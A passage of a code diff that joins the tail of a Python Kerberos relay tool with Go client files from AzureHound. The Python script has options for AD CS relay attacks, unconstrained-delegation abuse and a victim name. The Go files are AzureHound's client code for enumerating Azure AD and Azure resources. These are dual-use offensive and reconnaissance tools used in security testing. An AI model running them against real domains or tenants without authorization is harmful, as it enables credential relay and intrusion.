ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') + + # AD CS options + adcsoptions = parser.add_argument_group("AD CS attack options") + adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') + adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') + adcsoptions.add_argument('-v', "--victim", action='store', metavar = 'TARGET', help='Victim username or computername$, to request the correct certificate name.') + + try: + options = parser.parse_args() + except Exception as e: + logging.error(str(e)) + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + # Let's register the protocol clients we have + # ToDo: Do this better somehow + from lib.clients import PROTOCOL_CLIENTS + + + if options.codec is not None: + codec = options.codec + else: + codec = sys.getdefaultencoding() + + if options.target is not None: + logging.info("Running in attack mode to single host") + mode = 'ATTACK' + targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS) + else: + if options.tf is not None: + #Targetfile specified + logging.info("Running in attack mode to hosts in targetfile") + targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS) + mode = 'ATTACK' + else: + logging.info("Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.") + targetSystem = None + mode = 'EXPORT' + + if not options.krbpass and not options.krbhexpass and not options.hashes and not options.aesKey: + logging.info("Running in kerberos relay mode because no credentials were specified.") + if mode == 'EXPORT': + logging.error('You need to specify at least one relay target, or specify credentials to run in unconstrained delegation mode') + return + mode = 'RELAY' + else: + logging.info("Running in unconstrained delegation abuse mode using the specified credentials.") + + if options.r is not None: + logging.info("Running HTTP server in redirect mode") + + if targetSystem is not None and options.w: + watchthread = TargetsFileWatcher(targetSystem) + watchthread.start() + + threads = set() + + c = start_servers(options, threads) + + print("") + logging.info("Servers started, waiting for connections") + try: + sys.stdin.read() + except KeyboardInterrupt: + pass + else: + pass + + for s in threads: + del s + + sys.exit(0) + + + +# Process command-line arguments. +if __name__ == '__main__': + main() diff --git a/client/app_role_assignments.go b/client/app_role_assignments.go new file mode 100644 index 0000000..c497724 --- /dev/null +++ b/client/app_role_assignments.go @@ -0,0 +1,43 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// GetAzureADAppRoleAssignments https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-approleassignedto?view=graph-rest-1.0 +func (s *azureClient) ListAzureADAppRoleAssignments(ctx context.Context, servicePrincipalId string, params query.GraphParams) <-chan AzureResult[azure.AppRoleAssignment] { + var ( + out = make(chan AzureResult[azure.AppRoleAssignment]) + path = fmt.Sprintf("/%s/servicePrincipals/%s/appRoleAssignedTo", constants.GraphApiVersion, servicePrincipalId) + ) + + if params.Top == 0 { + params.Top = 999 + } + + go getAzureObjectList[azure.AppRoleAssignment](s.msgraph, ctx, path, params, out) + + return out +} diff --git a/client/apps.go b/client/apps.go new file mode 100644 index 0000000..80ce4fa --- /dev/null +++ b/client/apps.go @@ -0,0 +1,61 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureADApps https://learn.microsoft.com/en-us/graph/api/application-list?view=graph-rest-beta +func (s *azureClient) ListAzureADApps(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.Application] { + var ( + out = make(chan AzureResult[azure.Application]) + path = fmt.Sprintf("/%s/applications", constants.GraphApiVersion) + ) + + if params.Top == 0 { + params.Top = 99 + } + + go getAzureObjectList[azure.Application](s.msgraph, ctx, path, params, out) + + return out +} + +// ListAzureADAppOwners https://learn.microsoft.com/en-us/graph/api/application-list-owners?view=graph-rest-beta +func (s *azureClient) ListAzureADAppOwners(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] { + + var ( + out = make(chan AzureResult[json.RawMessage]) + path = fmt.Sprintf("/%s/applications/%s/owners", constants.GraphApiBetaVersion, objectId) + ) + + if params.Top == 0 { + params.Top = 99 + } + + go getAzureObjectList[json.RawMessage](s.msgraph, ctx, path, params, out) + + return out +} diff --git a/client/automation_accounts.go b/client/automation_accounts.go new file mode 100644 index 0000000..67e8a23 --- /dev/null +++ b/client/automation_accounts.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureAutomationAccounts https://learn.microsoft.com/en-us/rest/api/automation/automation-account/list?view=rest-automation-2021-06-22 +func (s *azureClient) ListAzureAutomationAccounts(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.AutomationAccount] { + var ( + out = make(chan AzureResult[azure.AutomationAccount]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.Automation/automationAccounts", subscriptionId) + params = query.RMParams{ApiVersion: "2021-06-22"} + ) + + go getAzureObjectList[azure.AutomationAccount](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/client.go b/client/client.go new file mode 100644 index 0000000..80e6401 --- /dev/null +++ b/client/client.go @@ -0,0 +1,232 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +//go:generate go run go.uber.org/mock/mockgen -destination=./mocks/client.go -package=mocks . AzureClient + +import ( + "context" + "encoding/json" + "fmt" + "net/http" + "net/url" + + "github.com/bloodhoundad/azurehound/v2/client/config" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/client/rest" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" +) + +func NewClient(config config.Config) (AzureClient, error) { + if msgraph, err := rest.NewRestClient(config.GraphUrl(), config); err != nil { + return nil, err + } else if resourceManager, err := rest.NewRestClient(config.ResourceManagerUrl(), config); err != nil { + return nil, err + } else { + if config.JWT != "" { + if aud, err := rest.ParseAud(config.JWT); err != nil { + return nil, err + } else if aud == config.GraphUrl() { + return initClientViaGraph(msgraph, resourceManager) + } else if aud == config.ResourceManagerUrl() { + if body, err := rest.ParseBody(config.JWT); err != nil { + return nil, err + } else { + return initClientViaRM(msgraph, resourceManager, body["tid"]) + } + } else { + return nil, fmt.Errorf("error: invalid token audience") + } + } else { + return initClientViaGraph(msgraph, resourceManager) + } + } +} + +func initClientViaRM(msgraph, resourceManager rest.RestClient, tid interface{}) (AzureClient, error) { + client := &azureClient{ + msgraph: msgraph, + resourceManager: resourceManager, + } + if result, err := client.GetAzureADTenants(context.Background(), true); err != nil { + return nil, err + } else { + for _, tenant := range result.Value { + if tenant.TenantId == tid.(string) { + client.tenant = tenant + break + } + } + return client, nil + } +} + +func initClientViaGraph(msgraph, resourceManager rest.RestClient) (AzureClient, error) { + client := &azureClient{ + msgraph: msgraph, + resourceManager: resourceManager, + } + if org, err := client.GetAzureADOrganization(context.Background(), nil); err != nil { + return nil, err + } else { + client.tenant = org.ToTenant() + return client, nil + } +} + +type AzureResult[T any] struct { + Error error + Ok T +} + +func getAzureObjectList[T any](client rest.RestClient, ctx context.Context, path string, params query.Params, out chan AzureResult[T]) { + defer panicrecovery.PanicRecovery() + defer close(out) + + var ( + errResult AzureResult[T] + nextLink string + ) + + for { + var ( + list struct { + CountGraph int `json:"@odata.count,omitempty"` // The total count of all graph results + NextLinkGraph string `json:"@odata.nextLink,omitempty"` // The URL to use for getting the next set of graph values. + ContextGraph string `json:"@odata.context,omitempty"` + NextLinkRM string `json:"nextLink,omitempty"` // The URL to use for getting the next set of rm values. + Value []T `json:"value"` // A list of azure values + } + res *http.Response + err error + ) + + if nextLink != "" { + if nextUrl, err := url.Parse(nextLink); err != nil { + errResult.Error = err + _ = pipeline.Send(ctx.Done(), out, errResult) + return + } else { + paramsMap := make(map[string]string) + if params != nil { + paramsMap = params.AsMap() + } + if req, err := rest.NewRequest(ctx, "GET", nextUrl, nil, paramsMap, nil); err != nil { + errResult.Error = err + _ = pipeline.Send(ctx.Done(), out, errResult) + return + } else if res, err = client.Send(req); err != nil { + errResult.Error = err + _ = pipeline.Send(ctx.Done(), out, errResult) + return + } + } + } else { + if res, err = client.Get(ctx, path, params, nil); err != nil { + errResult.Error = err + _ = pipeline.Send(ctx.Done(), out, errResult) + return + } + } + + if err := rest.Decode(res.Body, &list); err != nil { + errResult.Error = err + _ = pipeline.Send(ctx.Done(), out, errResult) + return + } else { + for _, u := range list.Value { + if ok := pipeline.Send(ctx.Done(), out, AzureResult[T]{Ok: u}); !ok { + return + } + } + } + + if list.NextLinkRM == "" && list.NextLinkGraph == "" { + break + } else if list.NextLinkGraph != "" { + nextLink = list.NextLinkGraph + } else if list.NextLinkRM != "" { + nextLink = list.NextLinkRM + } + } +} + +type azureClient struct { + msgraph rest.RestClient + resourceManager rest.RestClient + tenant azure.Tenant +} + +type AzureGraphClient interface { + GetAzureADOrganization(ctx context.Context, selectCols []string) (*azure.Organization, error) + + ListAzureADGroups(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.Group] + ListAzureADGroupMembers(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] + ListAzureADGroupOwners(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] + ListAzureADAppOwners(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] + ListAzureADApps(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.Application] + ListAzureADUsers(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.User] + ListAzureADRoleAssignments(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.UnifiedRoleAssignment] + ListAzureADRoles(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.Role] + ListAzureADServicePrincipalOwners(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] + ListAzureADServicePrincipals(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.ServicePrincipal] + ListAzureDeviceRegisteredOwners(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] + ListAzureDevices(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.Device] + ListAzureADAppRoleAssignments(ctx context.Context, servicePrincipalId string, params query.GraphParams) <-chan AzureResult[azure.AppRoleAssignment] +} + +type AzureResourceManagerClient interface { + GetAzureADTenants(ctx context.Context, includeAllTenantCategories bool) (azure.TenantList, error) + + ListRoleAssignmentsForResource(ctx context.Context, resourceId string, filter, tenantId string) <-chan AzureResult[azure.RoleAssignment] + ListAzureADTenants(ctx context.Context, includeAllTenantCategories bool) <-chan AzureResult[azure.Tenant] + ListAzureContainerRegistries(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.ContainerRegistry] + ListAzureWebApps(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.WebApp] + ListAzureManagedClusters(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.ManagedCluster] + ListAzureVMScaleSets(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.VMScaleSet] + ListAzureKeyVaults(ctx context.Context, subscriptionId string, params query.RMParams) <-chan AzureResult[azure.KeyVault] + ListAzureManagementGroups(ctx context.Context, skipToken string) <-chan AzureResult[azure.ManagementGroup] + ListAzureManagementGroupDescendants(ctx context.Context, groupId string, top int32) <-chan AzureResult[azure.DescendantInfo] + ListAzureResourceGroups(ctx context.Context, subscriptionId string, params query.RMParams) <-chan AzureResult[azure.ResourceGroup] + ListAzureSubscriptions(ctx context.Context) <-chan AzureResult[azure.Subscription] + ListAzureVirtualMachines(ctx context.Context, subscriptionId string, params query.RMParams) <-chan AzureResult[azure.VirtualMachine] + ListAzureStorageAccounts(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.StorageAccount] + ListAzureStorageContainers(ctx context.Context, subscriptionId string, resourceGroupName string, saName string, filter string, includeDeleted string, maxPageSize string) <-chan AzureResult[azure.StorageContainer] + ListAzureAutomationAccounts(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.AutomationAccount] + ListAzureLogicApps(ctx context.Context, subscriptionId string, filter string, top int32) <-chan AzureResult[azure.LogicApp] + ListAzureFunctionApps(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.FunctionApp] +} + +type AzureClient interface { + AzureGraphClient + AzureResourceManagerClient + + TenantInfo() azure.Tenant + CloseIdleConnections() +} + +func (s azureClient) TenantInfo() azure.Tenant { + return s.tenant +} + +func (s azureClient) CloseIdleConnections() { + s.msgraph.CloseIdleConnections() + s.resourceManager.CloseIdleConnections() +} diff --git a/client/config/config.go b/client/config/config.go new file mode 100644 index 0000000..3b68c1a --- /dev/null +++ b/client/config/config.go @@ -0,0 +1,107 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package config + +import ( + "strings" + + "github.com/bloodhoundad/azurehound/v2/constants" +) + +type Config struct { + ApplicationId string // The Application Id that the Azure app registration portal assigned when the app was registered. + Authority string // The Azure ActiveDirectory Authority URL + ClientSecret string // The Application Secret that was generated for the app in the app registration portal. + ClientCert string // The certificate uploaded to the app registration portal." + ClientKey string // The key for a certificate uploaded to the app registration portal." + ClientKeyPass string // The passphrase to use in conjuction with the associated key of a certificate uploaded to the app registration portal." + Graph string // The Microsoft Graph URL + JWT string // The JSON web token that will be used to authenticate requests sent to Azure APIs + Management string // The Azure ResourceManager URL + MgmtGroupId []string // The Management Group Id to use as a filter + Password string // The password associated with the user principal name associated with the Azure portal. + ProxyUrl string // The forward proxy url + RefreshToken string // The refresh token that will be used to authenticate requests sent to Azure APIs + Region string // The region of the Azure Cloud deployment. + SubscriptionId []string // The Subscription Id(s) to use as a filter + Tenant string // The directory tenant that you want to request permission from. This can be in GUID or friendly name format + Username string // The user principal name associated with the Azure portal. +} + +func AuthorityUrl(region string, defaultUrl string) string { + switch region { + case constants.China: + return constants.AzureChina().ActiveDirectoryAuthority + case constants.Cloud: + return constants.AzureCloud().ActiveDirectoryAuthority + case constants.Germany: + return constants.AzureGermany().ActiveDirectoryAuthority + case constants.USGovL4: + return constants.AzureUSGovernment().ActiveDirectoryAuthority + case constants.USGovL5: + return constants.AzureUSGovernmentL5().ActiveDirectoryAuthority + default: + return defaultUrl + } +} + +func (s Config) AuthorityUrl() string { + return AuthorityUrl(s.Region, s.Authority) +} + +func GraphUrl(region string, defaultUrl string) string { + switch region { + case constants.China: + return constants.AzureChina().MicrosoftGraphUrl + case constants.Cloud: + return constants.AzureCloud().MicrosoftGraphUrl + case constants.Germany: + return constants.AzureGermany().MicrosoftGraphUrl + case constants.USGovL4: + return constants.AzureUSGovernment().MicrosoftGraphUrl + case constants.USGovL5: + return constants.AzureUSGovernmentL5().MicrosoftGraphUrl + default: + return defaultUrl + } +} + +func (s Config) GraphUrl() string { + return strings.TrimSuffix(GraphUrl(s.Region, s.Graph), "/") +} + +func ResourceManagerUrl(region string, defaultUrl string) string { + switch region { + case constants.China: + return constants.AzureChina().ResourceManagerUrl + case constants.Cloud: + return constants.AzureCloud().ResourceManagerUrl + case constants.Germany: + return constants.AzureGermany().ResourceManagerUrl + case constants.USGovL4: + return constants.AzureUSGovernment().ResourceManagerUrl + case constants.USGovL5: + return constants.AzureUSGovernmentL5().ResourceManagerUrl + default: + return defaultUrl + } +} + +func (s Config) ResourceManagerUrl() string { + return strings.TrimSuffix(ResourceManagerUrl(s.Region, s.Graph), "/") +} diff --git a/client/container_registries.go b/client/container_registries.go new file mode 100644 index 0000000..cc7d1ed --- /dev/null +++ b/client/container_registries.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureContainerRegistries https://learn.microsoft.com/en-us/rest/api/containerregistry/registries/list?view=rest-containerregistry-2023-01-01-preview +func (s *azureClient) ListAzureContainerRegistries(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.ContainerRegistry] { + var ( + out = make(chan AzureResult[azure.ContainerRegistry]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.ContainerRegistry/registries", subscriptionId) + params = query.RMParams{ApiVersion: "2023-01-01-preview"} + ) + + go getAzureObjectList[azure.ContainerRegistry](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/devices.go b/client/devices.go new file mode 100644 index 0000000..d4935a2 --- /dev/null +++ b/client/devices.go @@ -0,0 +1,56 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureDevices https://learn.microsoft.com/en-us/graph/api/device-list?view=graph-rest-1.0 +func (s *azureClient) ListAzureDevices(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.Device] { + var ( + out = make(chan AzureResult[azure.Device]) + path = fmt.Sprintf("/%s/devices", constants.GraphApiVersion) + ) + + if params.Top == 0 { + params.Top = 999 + } + + go getAzureObjectList[azure.Device](s.msgraph, ctx, path, params, out) + + return out +} + +// ListAzureDeviceRegisteredOwners https://learn.microsoft.com/en-us/graph/api/device-list-registeredowners?view=graph-rest-beta +func (s *azureClient) ListAzureDeviceRegisteredOwners(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] { + var ( + out = make(chan AzureResult[json.RawMessage]) + path = fmt.Sprintf("/%s/devices/%s/registeredOwners", constants.GraphApiBetaVersion, objectId) + ) + + go getAzureObjectList[json.RawMessage](s.msgraph, ctx, path, params, out) + + return out +} diff --git a/client/function_apps.go b/client/function_apps.go new file mode 100644 index 0000000..9c924d0 --- /dev/null +++ b/client/function_apps.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureFunctionApps +func (s *azureClient) ListAzureFunctionApps(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.FunctionApp] { + var ( + out = make(chan AzureResult[azure.FunctionApp]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.Web/sites", subscriptionId) + params = query.RMParams{ApiVersion: "2022-03-01"} + ) + + go getAzureObjectList[azure.FunctionApp](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/groups.go b/client/groups.go new file mode 100644 index 0000000..824c8fe --- /dev/null +++ b/client/groups.go @@ -0,0 +1,72 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureADGroups https://learn.microsoft.com/en-us/graph/api/group-list?view=graph-rest-beta +func (s *azureClient) ListAzureADGroups(ctx context.Context, params query.GraphParams) <-chan AzureResult[azure.Group] { + var ( + out = make(chan AzureResult[azure.Group]) + path = fmt.Sprintf("/%s/groups", constants.GraphApiVersion) + ) + + if params.Top == 0 { + params.Top = 99 + } + + go getAzureObjectList[azure.Group](s.msgraph, ctx, path, params, out) + + return out +} + +// ListAzureADGroupOwners https://learn.microsoft.com/en-us/graph/api/group-list-owners?view=graph-rest-beta +func (s *azureClient) ListAzureADGroupOwners(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] { + var ( + out = make(chan AzureResult[json.RawMessage]) + path = fmt.Sprintf("/%s/groups/%s/owners", constants.GraphApiBetaVersion, objectId) + ) + + if params.Top == 0 { + params.Top = 99 + } + + go getAzureObjectList[json.RawMessage](s.msgraph, ctx, path, params, out) + + return out +} + +// ListAzureADGroupMembers https://learn.microsoft.com/en-us/graph/api/group-list-members?view=graph-rest-beta +func (s *azureClient) ListAzureADGroupMembers(ctx context.Context, objectId string, params query.GraphParams) <-chan AzureResult[json.RawMessage] { + var ( + out = make(chan AzureResult[json.RawMessage]) + path = fmt.Sprintf("/%s/groups/%s/members", constants.GraphApiBetaVersion, objectId) + ) + + go getAzureObjectList[json.RawMessage](s.msgraph, ctx, path, params, out) + + return out +} diff --git a/client/keyvaults.go b/client/keyvaults.go new file mode 100644 index 0000000..c7735c7 --- /dev/null +++ b/client/keyvaults.go @@ -0,0 +1,42 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureKeyVaults https://learn.microsoft.com/en-us/rest/api/keyvault/keyvault/vaults/list-by-subscription?view=rest-keyvault-keyvault-2019-09-01 +func (s *azureClient) ListAzureKeyVaults(ctx context.Context, subscriptionId string, params query.RMParams) <-chan AzureResult[azure.KeyVault] { + var ( + out = make(chan AzureResult[azure.KeyVault]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.KeyVault/vaults", subscriptionId) + ) + + if params.ApiVersion == "" { + params.ApiVersion = "2019-09-01" + } + + go getAzureObjectList[azure.KeyVault](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/logic_apps.go b/client/logic_apps.go new file mode 100644 index 0000000..711bfe2 --- /dev/null +++ b/client/logic_apps.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureLogicApps https://learn.microsoft.com/en-us/rest/api/logic/workflows/list-by-subscription?view=rest-logic-2016-06-01 +func (s *azureClient) ListAzureLogicApps(ctx context.Context, subscriptionId string, filter string, top int32) <-chan AzureResult[azure.LogicApp] { + var ( + out = make(chan AzureResult[azure.LogicApp]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.Logic/workflows", subscriptionId) + params = query.RMParams{ApiVersion: "2016-06-01", Filter: filter, Top: top} + ) + + go getAzureObjectList[azure.LogicApp](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/managed_clusters.go b/client/managed_clusters.go new file mode 100644 index 0000000..05c6b19 --- /dev/null +++ b/client/managed_clusters.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package client + +import ( + "context" + "fmt" + + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +// ListAzureManagedClusters https://learn.microsoft.com/en-us/rest/api/servicefabric/managedclusters/managed-clusters/list-by-subscription?view=rest-servicefabric-managedclusters-2021-07-01 +func (s *azureClient) ListAzureManagedClusters(ctx context.Context, subscriptionId string) <-chan AzureResult[azure.ManagedCluster] { + var ( + out = make(chan AzureResult[azure.ManagedCluster]) + path = fmt.Sprintf("/subscriptions/%s/providers/Microsoft.ContainerService/managedClusters", subscriptionId) + params = query.RMParams{ApiVersion: "2021-07-01"} + ) + + go getAzureObjectList[azure.ManagedCluster](s.resourceManager, ctx, path, params, out) + + return out +} diff --git a/client/management_groups.go b/client/management_groups.go new file mode 100644 index 0000000..a269b92 --- /dev/null +++ b/client/management_groups.go @@ -0,0 +1,52 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of 